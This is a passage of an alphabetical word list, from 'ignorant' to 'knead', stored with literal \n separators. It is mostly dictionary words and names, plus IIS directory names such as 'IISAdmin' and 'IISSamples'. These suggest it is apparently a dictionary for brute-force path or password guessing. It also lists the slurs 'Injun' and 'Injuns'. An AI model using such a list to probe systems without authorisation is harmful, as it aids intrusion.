nignorant\nignorantly\nignore\nignored\nignores\nignoring\nIgor\niis\nIISAdmin\nIISHelp\nIISSamples\nIke\nIliad\nIliadize\nIliadizes\nill\nillegal\nillegalities\nillegality\nillegally\nillegitimate\nillicit\nillicitly\nIllinois\nilliteracy\nilliterate\nillness\nillnesses\nillogical\nillogically\nills\nilluminate\nilluminated\nilluminates\nilluminating\nillumination\nilluminations\nillusion\nillusions\nillusive\nillusively\nillusory\nillustrate\nillustrated\nillustrates\nillustrating\nillustration\nillustrations\nillustrative\nillustratively\nillustrator\nillustrators\nillustrious\nillustriousness\nilly\nIlona\nIlyushin\nimage\nImagen\nimagery\nimages\nimaginable\nimaginably\nimaginary\nimagination\nimaginations\nimaginative\nimaginatively\nimagine\nimagined\nimagines\nimaging\nimagining\nimaginings\nimbalance\nimbalances\nimbecile\nimbibe\nImbrium\nimitate\nimitated\nimitates\nimitating\nimitation\nimitations\nimitative\nimmaculate\nimmaculately\nimmaterial\nimmaterially\nimmature\nimmaturity\nimmediacies\nimmediacy\nimmediate\nimmediately\nimmemorial\nimmense\nimmensely\nimmerse\nimmersed\nimmerses\nimmersion\nimmigrant\nimmigrants\nimmigrate\nimmigrated\nimmigrates\nimmigrating\nimmigration\nimminent\nimminently\nimmoderate\nimmodest\nimmoral\nimmortal\nimmortality\nimmortally\nimmovability\nimmovable\nimmovably\nimmune\nimmunities\nimmunity\nimmunization\nimmutable\nimp\nimpact\nimpacted\nimpacting\nimpaction\nimpactor\nimpactors\nimpacts\nimpair\nimpaired\nimpairing\nimpairs\nimpale\nimpart\nimparted\nimpartial\nimpartially\nimparts\nimpasse\nimpassive\nimpatience\nimpatient\nimpatiently\nimpeach\nimpeachable\nimpeached\nimpeachment\nimpeccable\nimpedance\nimpedances\nimpede\nimpeded\nimpedes\nimpediment\nimpediments\nimpeding\nimpel\nimpelled\nimpelling\nimpend\nimpending\nimpenetrability\nimpenetrable\nimpenetrably\nimperative\nimperatively\nimperatives\nimperceivable\nimperceptible\nimperfect\nimperfection\nimperfections\nimperfectly\nimperial\nimperialism\nimperialist\nimperialists\nimperil\nimperiled\nimperious\nimperiously\nimpermanence\nimpermanent\nimpermeable\nimpermissible\nimpersonal\nimpersonally\nimpersonate\nimpersonated\nimpersonates\nimpersonating\nimpersonation\nimpersonations\nimpertinent\nimpertinently\nimpervious\nimperviously\nimpetuous\nimpetuously\nimpetus\nimpinge\nimpinged\nimpinges\nimpinging\nimpious\nimplacable\nimplant\nimplanted\nimplanting\nimplants\nimplausible\nimplement\nimplementable\nimplementation\nimplementations\nimplemented\nimplementer\nimplementing\nimplementor\nimplementors\nimplements\nimplicant\nimplicants\nimplicate\nimplicated\nimplicates\nimplicating\nimplication\nimplications\nimplicit\nimplicitly\nimplicitness\nimplied\nimplies\nimplore\nimplored\nimploring\nimply\nimplying\nimpolite\nimport\nimportance\nimportant\nimportantly\nimportation\nimported\nimporter\nimporters\nimporting\nimports\nimpose\nimposed\nimposes\nimposing\nimposition\nimpositions\nimpossibilities\nimpossibility\nimpossible\nimpossibly\nimpostor\nimpostors\nimpotence\nimpotency\nimpotent\nimpound\nimpoverish\nimpoverished\nimpoverishment\nimpracticable\nimpractical\nimpracticality\nimpractically\nimprecise\nimprecisely\nimprecision\nimpregnable\nimpregnate\nimpress\nimpressed\nimpresser\nimpresses\nimpressible\nimpressing\nimpression\nimpressionable\nimpressionist\nimpressionistic\nimpressions\nimpressive\nimpressively\nimpressiveness\nimpressment\nimprimatur\nimprint\nimprinted\nimprinting\nimprints\nimprison\nimprisoned\nimprisoning\nimprisonment\nimprisonments\nimprisons\nimprobability\nimprobable\nimpromptu\nimproper\nimproperly\nimpropriety\nimprove\nimproved\nimprovement\nimprovements\nimproves\nimproving\nimprovisation\nimprovisational\nimprovisations\nimprovise\nimprovised\nimproviser\nimprovisers\nimprovises\nimprovising\nimprudent\nimps\nimpudent\nimpudently\nimpugn\nimpulse\nimpulses\nimpulsion\nimpulsive\nimpunity\nimpure\nimpurities\nimpurity\nimpute\nimputed\nin\ninability\ninaccessible\ninaccuracies\ninaccuracy\ninaccurate\ninaction\ninactivate\ninactive\ninactivity\ninadequacies\ninadequacy\ninadequate\ninadequately\ninadequateness\ninadmissibility\ninadmissible\ninadvertent\ninadvertently\ninadvisable\ninalienable\ninalterable\ninane\ninanimate\ninanimately\nInanna\ninapplicable\ninapproachable\ninappropriate\ninappropriateness\ninasmuch\ninattention\ninaudible\ninaugural\ninaugurate\ninaugurated\ninaugurating\ninauguration\ninauspicious\ninboard\ninbound\ninbreed\nInca\nincalculable\nincandescent\nincantation\nincapable\nincapacitate\nincapacitating\nincarcerate\nincarnation\nincarnations\nIncas\nincendiaries\nincendiary\nincense\nincensed\nincenses\nincentive\nincentives\ninception\nincessant\nincessantly\nincest\nincestuous\ninch\ninched\ninches\ninching\nincidence\nincident\nincidental\nincidentally\nincidentals\nincidents\nincinerate\nincipient\nincisive\nincite\nincited\nincitement\nincites\ninciting\ninclement\ninclination\ninclinations\nincline\ninclined\ninclines\ninclining\ninclose\ninclosed\nincloses\ninclosing\ninclude\nincluded\nincludes\nincluding\ninclusion\ninclusions\ninclusive\ninclusively\ninclusiveness\nincoherence\nincoherent\nincoherently\nincome\nincomes\nincoming\nincommensurable\nincommensurate\nincommunicable\nincomparable\nincomparably\nincompatibilities\nincompatibility\nincompatible\nincompatibly\nincompetence\nincompetent\nincompetents\nincomplete\nincompletely\nincompleteness\nincomprehensibility\nincomprehensible\nincomprehensibly\nincomprehension\nincompressible\nincomputable\ninconceivable\ninconclusive\nincongruity\nincongruous\ninconsequential\ninconsequentially\ninconsiderable\ninconsiderate\ninconsiderately\ninconsiderateness\ninconsistencies\ninconsistency\ninconsistent\ninconsistently\ninconspicuous\nincontestable\nincontrovertible\nincontrovertibly\ninconvenience\ninconvenienced\ninconveniences\ninconveniencing\ninconvenient\ninconveniently\ninconvertible\nincorporate\nincorporated\nincorporates\nincorporating\nincorporation\nincorrect\nincorrectly\nincorrectness\nincorrigible\nincrease\nincreased\nincreases\nincreasing\nincreasingly\nincredible\nincredibly\nincredulity\nincredulous\nincredulously\nincrement\nincremental\nincrementally\nincremented\nincrementer\nincrementing\nincrements\nincriminate\nincubate\nincubated\nincubates\nincubating\nincubation\nincubator\nincubators\ninculcate\nincumbent\nincur\nincurable\nincurred\nincurring\nincurs\nincursion\nindebted\nindebtedness\nindecent\nindecipherable\nindecision\nindecisive\nindeed\nindefatigable\nindefensible\nindefinite\nindefinitely\nindefiniteness\nindelible\nindemnify\nindemnity\nindent\nindentation\nindentations\nindented\nindenting\nindents\nindenture\nindependence\nindependent\nindependently\nindescribable\nindestructible\nindeterminacies\nindeterminacy\nindeterminate\nindeterminately\nindex\nindexable\nindexed\nindexes\nindexing\nIndia\nIndian\nIndiana\nIndianapolis\nIndians\nindicate\nindicated\nindicates\nindicating\nindication\nindications\nindicative\nindicator\nindicators\nindices\nindict\nindictment\nindictments\nIndies\nindifference\nindifferent\nindifferently\nindigenous\nindigenously\nindigenousness\nindigestible\nindigestion\nindignant\nindignantly\nindignation\nindignities\nindignity\nindigo\nIndira\nindirect\nindirected\nindirecting\nindirection\nindirections\nindirectly\nindirects\nindiscreet\nindiscretion\nindiscriminate\nindiscriminately\nindispensability\nindispensable\nindispensably\nindisputable\nindistinct\nindistinguishable\nindividual\nindividualism\nindividualistic\nindividuality\nindividualize\nindividualized\nindividualizes\nindividualizing\nindividually\nindividuals\nindivisibility\nindivisible\nIndo\nIndochina\nIndochinese\nindoctrinate\nindoctrinated\nindoctrinates\nindoctrinating\nindoctrination\nIndoeuropean\nindolent\nindolently\nindomitable\nIndonesia\nIndonesian\nindoor\nindoors\nindubitable\ninduce\ninduced\ninducement\ninducements\ninducer\ninduces\ninducing\ninduct\ninductance\ninductances\ninducted\ninductee\ninducting\ninduction\ninductions\ninductive\ninductively\ninductor\ninductors\ninducts\nindulge\nindulged\nindulgence\nindulgences\nindulgent\nindulging\nIndus\nindustrial\nindustrialism\nindustrialist\nindustrialists\nindustrialization\nindustrialized\nindustrially\nindustrials\nindustries\nindustrious\nindustriously\nindustriousness\nindustry\nIndy\nineffective\nineffectively\nineffectiveness\nineffectual\ninefficiencies\ninefficiency\ninefficient\ninefficiently\ninelegant\nineligible\ninept\ninequalities\ninequality\ninequitable\ninequity\ninert\ninertia\ninertial\ninertly\ninertness\ninescapable\ninescapably\ninessential\ninestimable\ninevitabilities\ninevitability\ninevitable\ninevitably\ninexact\ninexcusable\ninexcusably\ninexhaustible\ninexorable\ninexorably\ninexpensive\ninexpensively\ninexperience\ninexperienced\ninexplicable\ninfallibility\ninfallible\ninfallibly\ninfamous\ninfamously\ninfamy\ninfancy\ninfant\ninfantile\ninfantry\ninfantryman\ninfantrymen\ninfants\ninfarct\ninfatuate\ninfeasible\ninfect\ninfected\ninfecting\ninfection\ninfections\ninfectious\ninfectiously\ninfective\ninfects\ninfer\ninference\ninferences\ninferential\ninferior\ninferiority\ninferiors\ninfernal\ninfernally\ninferno\ninfernos\ninferred\ninferring\ninfers\ninfertile\ninfest\ninfested\ninfesting\ninfests\ninfidel\ninfidelity\ninfidels\ninfighting\ninfiltrate\ninfinite\ninfinitely\ninfiniteness\ninfinitesimal\ninfinitive\ninfinitives\ninfinitude\ninfinitum\ninfinity\ninfirm\ninfirmary\ninfirmity\ninfix\ninflame\ninflamed\ninflammable\ninflammation\ninflammatory\ninflatable\ninflate\ninflated\ninflater\ninflates\ninflating\ninflation\ninflationary\ninflexibility\ninflexible\ninflict\ninflicted\ninflicting\ninflicts\ninflow\ninfluence\ninfluenced\ninfluences\ninfluencing\ninfluential\ninfluentially\ninfluenza\ninform\ninformal\ninformality\ninformally\ninformant\ninformants\nInformatica\ninformation\ninformational\ninformative\ninformatively\ninformed\ninformer\ninformers\ninforming\ninforms\ninfra\ninfrared\ninfrastructure\ninfrequent\ninfrequently\ninfringe\ninfringed\ninfringement\ninfringements\ninfringes\ninfringing\ninfuriate\ninfuriated\ninfuriates\ninfuriating\ninfuriation\ninfuse\ninfused\ninfuses\ninfusing\ninfusion\ninfusions\ningenious\ningeniously\ningeniousness\ningenuity\ningenuous\nIngersoll\ningest\ningestion\ninglorious\ningot\nIngram\ningrate\ningratiate\ningratitude\ningredient\ningredients\ningrown\ninhabit\ninhabitable\ninhabitance\ninhabitant\ninhabitants\ninhabited\ninhabiting\ninhabits\ninhale\ninhaled\ninhaler\ninhales\ninhaling\ninhere\ninherent\ninherently\ninheres\ninherit\ninheritable\ninheritance\ninheritances\ninherited\ninheriting\ninheritor\ninheritors\ninheritress\ninheritresses\ninheritrices\ninheritrix\ninherits\ninhibit\ninhibited\ninhibiting\ninhibition\ninhibitions\ninhibitor\ninhibitors\ninhibitory\ninhibits\ninhomogeneities\ninhomogeneity\ninhomogeneous\ninhospitable\ninhuman\ninhumane\ninimical\ninimitable\niniquities\niniquity\ninitial\ninitialed\ninitialing\ninitialization\ninitializations\ninitialize\ninitialized\ninitializer\ninitializers\ninitializes\ninitializing\ninitially\ninitials\ninitiate\ninitiated\ninitiates\ninitiating\ninitiation\ninitiations\ninitiative\ninitiatives\ninitiator\ninitiators\ninject\ninjected\ninjecting\ninjection\ninjections\ninjective\ninjects\ninjudicious\nInjun\ninjunction\ninjunctions\nInjuns\ninjure\ninjured\ninjures\ninjuries\ninjuring\ninjurious\ninjury\ninjustice\ninjustices\nink\ninked\ninker\ninkers\ninking\ninkings\ninkling\ninklings\ninks\ninlaid\ninland\ninlay\ninlet\ninlets\ninline\nInman\ninmate\ninmates\ninn\ninnards\ninnate\ninnately\ninner\ninnermost\ninning\ninnings\ninnocence\ninnocent\ninnocently\ninnocents\ninnocuous\ninnocuously\ninnocuousness\ninnovate\ninnovation\ninnovations\ninnovative\ninns\ninnuendo\ninnumerability\ninnumerable\ninnumerably\ninoculate\ninoperable\ninoperative\ninopportune\ninordinate\ninordinately\ninorganic\ninput\ninputs\ninquest\ninquire\ninquired\ninquirer\ninquirers\ninquires\ninquiries\ninquiring\ninquiry\ninquisition\ninquisitions\ninquisitive\ninquisitively\ninquisitiveness\ninroad\ninroads\ninsane\ninsanely\ninsanity\ninsatiable\ninscribe\ninscribed\ninscribes\ninscribing\ninscription\ninscriptions\ninscrutable\ninsect\ninsecticide\ninsects\ninsecure\ninsecurely\ninseminate\ninsensible\ninsensitive\ninsensitively\ninsensitivity\ninseparable\ninsert\ninserted\ninserting\ninsertion\ninsertions\ninserts\ninset\ninside\ninsider\ninsiders\ninsides\ninsidious\ninsidiously\ninsidiousness\ninsight\ninsightful\ninsights\ninsignia\ninsignificance\ninsignificant\ninsincere\ninsincerity\ninsinuate\ninsinuated\ninsinuates\ninsinuating\ninsinuation\ninsinuations\ninsipid\ninsist\ninsisted\ninsistence\ninsistent\ninsistently\ninsisting\ninsists\ninsofar\ninsolence\ninsolent\ninsolently\ninsoluble\ninsolvable\ninsolvent\ninsomnia\ninsomniac\ninspect\ninspected\ninspecting\ninspection\ninspections\ninspector\ninspectors\ninspects\ninspiration\ninspirations\ninspire\ninspired\ninspirer\ninspires\ninspiring\ninstabilities\ninstability\ninstall\ninstallation\ninstallations\ninstalled\ninstaller\ninstallers\ninstalling\ninstallment\ninstallments\ninstalls\ninstance\ninstances\ninstant\ninstantaneous\ninstantaneously\ninstanter\ninstantiate\ninstantiated\ninstantiates\ninstantiating\ninstantiation\ninstantiations\ninstantly\ninstants\ninstead\ninstigate\ninstigated\ninstigates\ninstigating\ninstigator\ninstigators\ninstill\ninstinct\ninstinctive\ninstinctively\ninstincts\ninstinctual\ninstitute\ninstituted\ninstituter\ninstituters\ninstitutes\ninstituting\ninstitution\ninstitutional\ninstitutionalize\ninstitutionalized\ninstitutionalizes\ninstitutionalizing\ninstitutionally\ninstitutions\ninstruct\ninstructed\ninstructing\ninstruction\ninstructional\ninstructions\ninstructive\ninstructively\ninstructor\ninstructors\ninstructs\ninstrument\ninstrumental\ninstrumentalist\ninstrumentalists\ninstrumentally\ninstrumentals\ninstrumentation\ninstrumented\ninstrumenting\ninstruments\ninsubordinate\ninsufferable\ninsufficient\ninsufficiently\ninsular\ninsulate\ninsulated\ninsulates\ninsulating\ninsulation\ninsulator\ninsulators\ninsulin\ninsult\ninsulted\ninsulting\ninsults\ninsuperable\ninsupportable\ninsurance\ninsure\ninsured\ninsurer\ninsurers\ninsures\ninsurgent\ninsurgents\ninsuring\ninsurmountable\ninsurrection\ninsurrections\nintact\nintangible\nintangibles\ninteger\nintegers\nintegrable\nintegral\nintegrals\nintegrand\nintegrate\nintegrated\nintegrates\nintegrating\nintegration\nintegrations\nintegrative\nintegrity\nIntel\nintellect\nintellects\nintellectual\nintellectually\nintellectuals\nintelligence\nintelligent\nintelligently\nintelligentsia\nintelligibility\nintelligible\nintelligibly\nIntelsat\nintemperate\nintend\nintended\nintending\nintends\nintense\nintensely\nintensification\nintensified\nintensifier\nintensifiers\nintensifies\nintensify\nintensifying\nintensities\nintensity\nintensive\nintensively\nintent\nintention\nintentional\nintentionally\nintentioned\nintentions\nintently\nintentness\nintents\ninter\ninteract\ninteracted\ninteracting\ninteraction\ninteractions\ninteractive\ninteractively\ninteractivity\ninteracts\nintercept\nintercepted\nintercepting\ninterception\ninterceptor\nintercepts\ninterchange\ninterchangeability\ninterchangeable\ninterchangeably\ninterchanged\ninterchanger\ninterchanges\ninterchanging\ninterchangings\ninterchannel\nintercity\nintercom\nintercommunicate\nintercommunicated\nintercommunicates\nintercommunicating\nintercommunication\ninterconnect\ninterconnected\ninterconnecting\ninterconnection\ninterconnections\ninterconnects\nintercontinental\nintercourse\nInterdata\ninterdependence\ninterdependencies\ninterdependency\ninterdependent\ninterdict\ninterdiction\ninterdisciplinary\ninterest\ninterested\ninteresting\ninterestingly\ninterests\ninterface\ninterfaced\ninterfacer\ninterfaces\ninterfacing\ninterfere\ninterfered\ninterference\ninterferences\ninterferes\ninterfering\ninterferingly\ninterferometer\ninterferometric\ninterferometry\ninterframe\nintergroup\ninterim\ninterior\ninteriors\ninterject\ninterlace\ninterlaced\ninterlaces\ninterlacing\ninterleave\ninterleaved\ninterleaves\ninterleaving\ninterlink\ninterlinked\ninterlinks\ninterlisp\nintermediary\nintermediate\nintermediates\ninterminable\nintermingle\nintermingled\nintermingles\nintermingling\nintermission\nintermittent\nintermittently\nintermix\nintermixed\nintermodule\nintern\ninternal\ninternalize\ninternalized\ninternalizes\ninternalizing\ninternally\ninternals\ninternational\ninternationality\ninternationally\ninterned\nInternet\nINTERNET\ninternetwork\ninterning\ninterns\ninternship\ninteroffice\ninterpersonal\ninterplay\nInterpol\ninterpolate\ninterpolated\ninterpolates\ninterpolating\ninterpolation\ninterpolations\ninterpose\ninterposed\ninterposes\ninterposing\ninterpret\ninterpretable\ninterpretation\ninterpretations\ninterpreted\ninterpreter\ninterpreters\ninterpreting\ninterpretive\ninterpretively\ninterprets\ninterprocess\ninterrelate\ninterrelated\ninterrelates\ninterrelating\ninterrelation\ninterrelations\ninterrelationship\ninterrelationships\ninterrogate\ninterrogated\ninterrogates\ninterrogating\ninterrogation\ninterrogations\ninterrogative\ninterrupt\ninterrupted\ninterruptible\ninterrupting\ninterruption\ninterruptions\ninterruptive\ninterrupts\nintersect\nintersected\nintersecting\nintersection\nintersections\nintersects\nintersperse\ninterspersed\nintersperses\ninterspersing\ninterspersion\ninterstage\ninterstate\nintertwine\nintertwined\nintertwines\nintertwining\ninterval\nintervals\nintervene\nintervened\nintervenes\nintervening\nintervention\ninterventions\ninterview\ninterviewed\ninterviewee\ninterviewer\ninterviewers\ninterviewing\ninterviews\ninterwoven\nintestate\nintestinal\nintestine\nintestines\nintimacy\nintimate\nintimated\nintimately\nintimating\nintimation\nintimations\nintimidate\nintimidated\nintimidates\nintimidating\nintimidation\ninto\nintolerable\nintolerably\nintolerance\nintolerant\nintonation\nintonations\nintone\nintoxicant\nintoxicate\nintoxicated\nintoxicating\nintoxication\nintractability\nintractable\nintractably\nintragroup\nintraline\nintramural\nintramuscular\nintransigent\nintransitive\nintransitively\nintraoffice\nintraprocess\nintrastate\nintravenous\nintrepid\nintricacies\nintricacy\nintricate\nintricately\nintrigue\nintrigued\nintrigues\nintriguing\nintrinsic\nintrinsically\nintroduce\nintroduced\nintroduces\nintroducing\nintroduction\nintroductions\nintroductory\nintrospect\nintrospection\nintrospections\nintrospective\nintrovert\nintroverted\nintrude\nintruded\nintruder\nintruders\nintrudes\nintruding\nintrusion\nintrusions\nintrust\nintubate\nintubated\nintubates\nintubation\nintuition\nintuitionist\nintuitions\nintuitive\nintuitively\ninundate\ninvade\ninvaded\ninvader\ninvaders\ninvades\ninvading\ninvalid\ninvalidate\ninvalidated\ninvalidates\ninvalidating\ninvalidation\ninvalidations\ninvalidities\ninvalidity\ninvalidly\ninvalids\ninvaluable\ninvariable\ninvariably\ninvariance\ninvariant\ninvariantly\ninvariants\ninvasion\ninvasions\ninvective\ninvent\ninvented\ninventing\ninvention\ninventions\ninventive\ninventively\ninventiveness\ninventor\ninventories\ninventors\ninventory\ninvents\nInverness\ninverse\ninversely\ninverses\ninversion\ninversions\ninvert\ninvertebrate\ninvertebrates\ninverted\ninverter\ninverters\ninvertible\ninverting\ninverts\ninvest\ninvested\ninvestigate\ninvestigated\ninvestigates\ninvestigating\ninvestigation\ninvestigations\ninvestigative\ninvestigator\ninvestigators\ninvestigatory\ninvesting\ninvestment\ninvestments\ninvestor\ninvestors\ninvests\ninveterate\ninvigorate\ninvincible\ninvisibility\ninvisible\ninvisibly\ninvitation\ninvitations\ninvite\ninvited\ninvites\ninviting\ninvocable\ninvocation\ninvocations\ninvoice\ninvoiced\ninvoices\ninvoicing\ninvoke\ninvoked\ninvoker\ninvokes\ninvoking\ninvoluntarily\ninvoluntary\ninvolve\ninvolved\ninvolvement\ninvolvements\ninvolves\ninvolving\ninward\ninwardly\ninwardness\ninwards\nIo\niodine\nion\nIonian\nIonians\nIonicization\nIonicizations\nIonicize\nIonicizes\nionosphere\nionospheric\nions\niota\nIowa\nIra\nIran\nIranian\nIranians\nIranize\nIranizes\nIraq\nIraqi\nIraqis\nirate\nirately\nirateness\nire\nIreland\nIrene\nires\niris\nIrish\nIrishize\nIrishizes\nIrishman\nIrishmen\nirk\nirked\nirking\nirks\nirksome\nIrma\niron\nironed\nironic\nironical\nironically\nironies\nironing\nironings\nirons\nirony\nIroquois\nirradiate\nirrational\nirrationally\nirrationals\nIrrawaddy\nirreconcilable\nirrecoverable\nirreducible\nirreducibly\nirreflexive\nirrefutable\nirregular\nirregularities\nirregularity\nirregularly\nirregulars\nirrelevance\nirrelevances\nirrelevant\nirrelevantly\nirreplaceable\nirrepressible\nirreproducibility\nirreproducible\nirresistible\nirrespective\nirrespectively\nirresponsible\nirresponsibly\nirretrievably\nirreverent\nirreversibility\nirreversible\nirreversibly\nirrevocable\nirrevocably\nirrigate\nirrigated\nirrigates\nirrigating\nirrigation\nirritable\nirritant\nirritate\nirritated\nirritates\nirritating\nirritation\nirritations\nIrvin\nIrvine\nIrving\nIrwin\nis\nIsaac\nIsaacs\nIsaacson\nIsabel\nIsabella\nIsadore\nIsaiah\nIsfahan\nIsing\nIsis\nIslam\nIslamabad\nIslamic\nIslamization\nIslamizations\nIslamize\nIslamizes\nisland\nislander\nislanders\nIslandia\nislands\nisle\nisles\nislet\nislets\nisolate\nisolated\nisolates\nisolating\nisolation\nisolations\nIsolde\nisometric\nisomorphic\nisomorphically\nisomorphism\nisomorphisms\nisotope\nisotopes\nIsrael\nIsraeli\nIsraelis\nIsraelite\nIsraelites\nIsraelitize\nIsraelitizes\nissuance\nissue\nissued\nissuer\nissuers\nissues\nissuing\nIstanbul\nisthmus\nIstvan\nit\nItalian\nItalianization\nItalianizations\nItalianize\nItalianizer\nItalianizers\nItalianizes\nItalians\nitalic\nitalicize\nitalicized\nitalics\nItaly\nitch\nitches\nitching\nItel\nitem\nitemization\nitemizations\nitemize\nitemized\nitemizes\nitemizing\nitems\niterate\niterated\niterates\niterating\niteration\niterations\niterative\niteratively\niterator\niterators\nIthaca\nIthacan\nitineraries\nitinerary\nIto\nits\nitself\nIvan\nIvanhoe\nIverson\nivies\nivory\nivy\nIzaak\nIzvestia\njab\njabbed\njabbing\nJablonsky\njabs\njack\njackass\njacket\njacketed\njackets\nJackie\njacking\njackknife\nJackman\njackpot\nJackson\nJacksonian\nJacksons\nJacksonville\nJacky\nJacob\nJacobean\nJacobi\nJacobian\nJacobinize\nJacobite\nJacobs\nJacobsen\nJacobson\nJacobus\nJacoby\nJacqueline\nJacques\njade\njaded\nJaeger\njaguar\njail\njailed\njailer\njailers\njailing\njails\nJaime\nJakarta\nJake\nJakes\njam\nJamaica\nJamaican\nJames\nJameson\nJamestown\njammed\njamming\njams\nJane\nJaneiro\nJanesville\nJanet\nJanice\nJanis\njanitor\njanitors\nJanos\nJansen\nJansenist\nJanuaries\nJanuary\nJanus\nJapan\nJapanese\nJapanization\nJapanizations\nJapanize\nJapanized\nJapanizes\nJapanizing\njar\njargon\njarred\njarring\njarringly\njars\nJarvin\nJason\nJastrow\njaundice\njaunt\njauntiness\njaunts\njaunty\nJava\nJavanese\njavelin\njavelins\njaw\njawbone\njaws\njay\nJaycee\nJaycees\njazz\njazzy\njealous\njealousies\njealously\njealousy\njean\nJeanne\nJeannie\njeans\nJed\njeep\njeeps\njeer\njeers\nJeff\nJefferson\nJeffersonian\nJeffersonians\nJeffrey\nJehovah\njellies\nJello\njelly\njellyfish\nJenkins\nJennie\nJennifer\nJennings\njenny\nJensen\njeopardize\njeopardized\njeopardizes\njeopardizing\njeopardy\nJeremiah\nJeremy\nJeres\nJericho\njerk\njerked\njerkiness\njerking\njerkings\njerks\njerky\nJeroboam\nJerome\nJerry\njersey\njerseys\nJerusalem\nJesse\nJessica\nJessie\nJessy\njest\njested\njester\njesting\njests\nJesuit\nJesuitism\nJesuitize\nJesuitized\nJesuitizes\nJesuitizing\nJesuits\nJesus\njet\njetliner\njets\njetted\njetting\nJew\njewel\njeweled\njeweler\nJewell\nJewelled\njewelries\njewelry\njewels\nJewett\nJewish\nJewishness\nJews\njiffy\njig\njigs\njigsaw\nJill\nJim\nJimenez\nJimmie\njingle\njingled\njingling\nJinny\njitter\njitterbug\njittery\nJo\nJoan\nJoanna\nJoanne\nJoaquin\njob\nJobrel\njobs\njockey\njockstrap\njocund\nJody\nJoe\nJoel\nJoes\njog\njogging\njogs\nJohann\nJohanna\nJohannes\nJohannesburg\nJohansen\nJohanson\nJohn\nJohnnie\nJohnny\nJohns\nJohnsen\nJohnson\nJohnston\nJohnstown\njoin\njoined\njoiner\njoiners\njoining\njoins\njoint\njointly\njoints\njoke\njoked\njoker\njokers\njokes\njoking\njokingly\nJoliet\nJolla\njolly\njolt\njolted\njolting\njolts\nJon\nJonas\nJonathan\nJonathanization\nJonathanizations\nJones\nJoneses\njonquil\nJoplin\nJordan\nJordanian\nJorge\nJorgensen\nJorgenson\nJose\nJosef\nJoseph\nJosephine\nJosephson\nJosephus\nJoshua\nJosiah\njostle\njostled\njostles\njostling\njot\njots\njotted\njotting\njoule\njournal\njournalism\njournalist\njournalists\njournalize\njournalized\njournalizes\njournalizing\njournals\njourney\njourneyed\njourneying\njourneyings\njourneyman\njourneymen\njourneys\njoust\njousted\njousting\njousts\nJovanovich\nJove\njovial\nJovian\njoy\nJoyce\njoyful\njoyfully\njoyous\njoyously\njoyousness\njoyride\njoys\njoystick\nJuan\nJuanita\nJubal\njubilee\nJudaica\nJudaism\nJudas\nJudd\nJudder\nJuddered\nJuddering\nJudders\nJude\nJudea\njudge\njudged\njudges\njudging\njudgment\njudgments\njudicial\njudiciary\njudicious\njudiciously\nJudith\njudo\nJudson\nJudy\njug\njuggle\njuggler\njugglers\njuggles\njuggling\nJugoslavia\njugs\njuice\njuices\njuiciest\njuicy\nJukes\nJules\nJulia\nJulian\nJulie\nJulies\nJuliet\nJulio\nJulius\nJuly\njumble\njumbled\njumbles\njumbo\njump\njumped\njumper\njumpers\njumping\njumps\njumpy\njunction\njunctions\njuncture\njunctures\nJune\nJuneau\nJunes\nJung\nJungian\njungle\njungles\njunior\njuniors\njuniper\njunk\njunker\njunkers\njunks\njunky\nJuno\njunta\nJupiter\nJura\nJuras\nJurassic\njure\njuries\njurisdiction\njurisdictions\njurisprudence\njurist\njuror\njurors\njury\njust\njustice\njustices\njustifiable\njustifiably\njustification\njustifications\njustified\njustifier\njustifiers\njustifies\njustify\njustifying\nJustine\nJustinian\njustly\njustness\njut\nJutish\nJutland\njutting\njuvenile\njuveniles\njuxtapose\njuxtaposed\njuxtaposes\njuxtaposing\nKabuki\nKabul\nKaddish\nKafka\nKafkaesque\nKahn\nKajar\nKalamazoo\nKali\nKalmuk\nKamchatka\nKamikaze\nKamikazes\nKampala\nKampuchea\nKanarese\nKane\nkangaroo\nkanji\nKankakee\nKannada\nKansas\nKant\nKantian\nKaplan\nkappa\nKarachi\nKaramazov\nkarate\nKaren\nKarl\nKarol\nKarp\nKashmir\nKaskaskia\nKate\nKatharine\nKatherine\nKathleen\nKathy\nKatie\nKatmandu\nKatowice\nKatz\nKauffman\nKaufman\nKay\nKeaton\nKeats\nKeegan\nkeel\nkeeled\nkeeling\nkeels\nkeen\nKeenan\nkeener\nkeenest\nkeenly\nkeenness\nkeep\nkeeper\nkeepers\nkeeping\nkeeps\nKeith\nKeller\nKelley\nKellogg\nKelly\nKelsey\nKelvin\nKemp\nken\nKendall\nKenilworth\nKennan\nKennecott\nKennedy\nkennel\nkennels\nKenneth\nKenney\nKenning\nKenny\nKenosha\nKensington\nKent\nKenton\nKentucky\nKenya\nKenyon\nKepler\nkept\nkerchief\nkerchiefs\nKermit\nkern\nkernel\nkernels\nKernighan\nkerosene\nKerouac\nKerr\nKessler\nketchup\nKettering\nkettle\nkettles\nKevin\nKewaskum\nKewaunee\nkey\nkeyboard\nkeyboards\nkeyed\nKeyes\nkeyhole\nkeying\nKeynes\nKeynesian\nkeynote\nkeypad\nkeypads\nkeys\nkeystroke\nkeystrokes\nkeyword\nkeywords\nKhartoum\nKhmer\nKhrushchev\nKhrushchevs\nkick\nKickapoo\nkicked\nkicker\nkickers\nkicking\nkickoff\nkicks\nkid\nKidde\nkidded\nkiddie\nkidding\nkidnap\nkidnapper\nkidnappers\nkidnapping\nkidnappings\nkidnaps\nkidney\nkidneys\nkids\nKieffer\nKiel\nKiev\nKiewit\nKigali\nKikuyu\nKilgore\nKilimanjaro\nkill\nKillebrew\nkilled\nkiller\nkillers\nkilling\nkillingly\nkillings\nkilljoy\nkills\nkilobit\nkilobits\nkiloblock\nkilobyte\nkilobytes\nkilogram\nkilograms\nkilohertz\nkilohm\nkilojoule\nkilometer\nkilometers\nkiloton\nkilovolt\nkilowatt\nkiloword\nKim\nKimball\nKimberly\nkimono\nkin\nkind\nkinder\nkindergarten\nkindest\nkindhearted\nkindle\nkindled\nkindles\nkindling\nkindly\nkindness\nkindred\nkinds\nkinetic\nking\nkingdom\nkingdoms\nkingly\nkingpin\nkings\nKingsbury\nKingsley\nKingston\nKingstown\nKingwood\nkink\nkinky\nKinney\nKinnickinnic\nKinsey\nKinshasha\nkinship\nkinsman\nkiosk\nKiowa\nKipling\nKirby\nKirchner\nKirchoff\nKirk\nKirkland\nKirkpatrick\nKirkwood\nKirov\nkiss\nkissed\nkisser\nkissers\nkisses\nkissing\nkit\nKitakyushu\nkitchen\nkitchenette\nkitchens\nkite\nkited\nkites\nkiting\nkits\nkitten\nkittenish\nkittens\nkitty\nKiwanis\nKlan\nKlaus\nklaxon\nKlein\nKleinrock\nKline\nkludge\nkludges\nKlux\nklystron\nknack\nKnapp\nknapsack\nknapsacks\nKnauer\nknave\nknaves\nknead\